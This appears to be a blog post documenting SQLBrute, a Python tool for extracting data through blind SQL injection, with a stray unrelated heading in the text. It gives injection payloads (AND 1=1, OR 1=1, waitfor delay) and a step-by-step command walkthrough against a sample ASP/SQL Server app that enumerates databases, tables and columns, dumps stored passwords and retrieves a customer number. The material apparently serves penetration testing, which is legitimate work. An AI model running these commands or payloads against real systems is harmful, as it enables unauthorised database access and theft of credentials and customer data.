SQL bruit theory

Update - An update to SQLBrute (version 1.0) has been released (including a Windows binary version). This is probably going to be the final version in Python - I've started rewriting the tool as a Windows GUI application in .NET, so look forward to a point-and-brute-force version soon.
Since SQLBrute has been linked to from the Oedipus Web Scanner as a possible exploit tool, I thought I might write some basic usage notes for it... especially since the tool is not at all idiot proof...as evidenced by the fact that I sometimes have trouble running it.
COMPUTER SCIENCE THE COMPLETE REFERENCE
SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn't require non-standard libraries (there is some code in there for pycurl, but it is disabled because it isn't finished).

For error based SQL injection, SQLBrute should work, if you can either:

* Get an identifiable difference between adding the exploit strings AND 1=1 and AND 1=2 to your SQL injection point (usually works if the query is normally valid)
* Get an identifiable difference between adding the exploit strings OR 1=1 and OR 1=2 to your SQL injection point (usually works if the query is normally invalid)

For time based SQL injection, SQLBrute should work if you can use exploit syntax similar to ;waitfor delay '0:0:5' to generate a time delay in Microsoft SQL Server.

Here is the options printed from SQLBrute when you run it with no options:

SQL command line options

___ _____ __ ____ ____ __ __ ____ ____
/ __)( _ )( ) ( _ \( _ \( )( )(_ _)( ___)
\__ \ )(_)( )(__ ) _ < ) / )(__)( )( )__)
(___/(___/\\(____)(____/(_)\_)(______) (__) (____)

Usage: ./sqlbrute.py options url
[--help|-h]
[--verbose|-v]
[--server|-d oracle|sqlserver]
[--error|-e regex]
[--threads|-s number]
[--cookie|-k string]
[--time|-n]
[--data|-p string]
[--database|-f database]
[--table|-t table]
[--column|-c column]
[--where|-w column=data]
[--header|-x header::val]


The only required command line option is the URL. If the vulnerable parameter is on the URL (i.e. in the querystring), that parameter needs to be on the end of the URL and in a format that SQL can be added on the end (i.e. param=foo' is sufficient in a lot of cases).

If the vulnerable parameter is in the POST data, you need to specify a --data option (see below), and have the vulnerable parameter at the end (as for a URL parameter, including a single quote or whatever is needed for the SQL injection point). The tool assumes that it can terminate the SQL using --, and also assumes that you're not going to be exploiting querystring variables on a POST.

Several of the options are for including required information in the requests to the server. You may need to wrap arguments in double quotes because of spaces and special characters in the data:

* --data allows you to specify POST data for a form post. Takes a string containing all the data as an argument
* --cookie allows you to specify the cookies to be supplied. Takes a string containing all the cookies as an argument
* --header allows you to specify arbitrary HTTP headers to include in the request (e.g. Accepts headers or similar). The header name and value need to be supplied as a single argument of the form header::value

Other options modify the default behaviour of the tool:

* --server forces the tool to use Oracle or SQL Server exploit techniques. This is needed because the tool defaults to SQL Server, and won't intelligently detect that Oracle is in use
* --threads specifies how many worker threads the tool will use to send requests. This defaults to 5, however this should be reduced if you are getting unreliable results (especially when doing time based testing). Setting this too high has a tendency to max the CPU on your machine, and have bad effects on the machine you're testing
* --time forces the tool to use time based testing instead of error based testing
* --verbose turns on verbose output. By default the tool doesn't output anything until it has completely enumerated an entry, which can lead to wondering whether it is actually doing anything. Using verbose once will output preliminary results - allowing you to see that its working. Using verbose twice will output requests and responses to allow debug issues with the tool
* --output allows us to specify an output file for the results. Otherwise the only results we will get will be to stdout

The remainder of the options specify the data to be brute forced from the database:

* --error specifies a regular expression to look for that appears in one of the AND or OR cases noted above. Usually this will be something identifiable such as an error message, or a message noting that no results were found
* --database (SQL Server only) specifies what database to use for enumerating data
* --table specifies what table to use for enumerating data
* --column specifies what column to use for enumerating data
* --where allows us to filter what data to brute force out by specifying a WHERE clause when enumerating a column. The where data must be in the form column_name=data (i.e. WHERE foo=bar)

The tool is designed to be used in a logical progression:

* Running the tool without specifying a database, table, or column parameter will enumerate the list of databases for SQL Server, and the list of user tables for Oracle
* Running the tool with the name of a database (SQL Server only) will enumerate the list of tables
* Running the tool with a table parameter (plus database parameter for SQL Server) will enumerate the columns in that table
* Running the tool with a column parameter (with table and database parameters if applicable) will enumerate the data in that column of that parameter. You can then find matching values in other columns of the table through using a --where command line option

And here is an example of enumeration from beginning to end on a sample application to see how this all works. In this example there is a SQL injection error in this ASP/SQL Server application on the locator.asp page. This is exploited through a POST, and the vulnerable parameter is the county parameter:

Enumerating databases

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last
response comes in.
Found: msdb
Found: pubs
Found: model
Found: tempdb
Found: master
Found: webapp


Enumerating tables

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp \
http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last
response comes in.
Found: myview
Found: locator
Found: customer
Found: postings
Found: responses
Found: dtproperties
Found: fresh_postings
Found: fresh_responses


Enumerating columns

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last
response comes in.
Found: city
Found: email
Found: lname
Found: fname
Found: mname
Found: phone
Found: endbal
Found: county
Found: begbal
Found: address
Found: custnum
Found: deposits
Found: password
Found: postcode
Found: withdrawals


Enumerating passwords

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
--column password http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last
response comes in.
Found: dog
Found: test
Found: hawk
Found: loki
Found: fish
Found: buzz




Enumerating the customer number for a specific password

./sqlbrute.py --data "searchtype=county&county=GM'" \
--error "NO RESULTS" --database webapp --table customer \
--column custnum --where password=dog \
http://192.168.182.128/locator.asp

This program will currently exit 60 seconds after the last
response comes in.
Found: 1.036512520000000e+008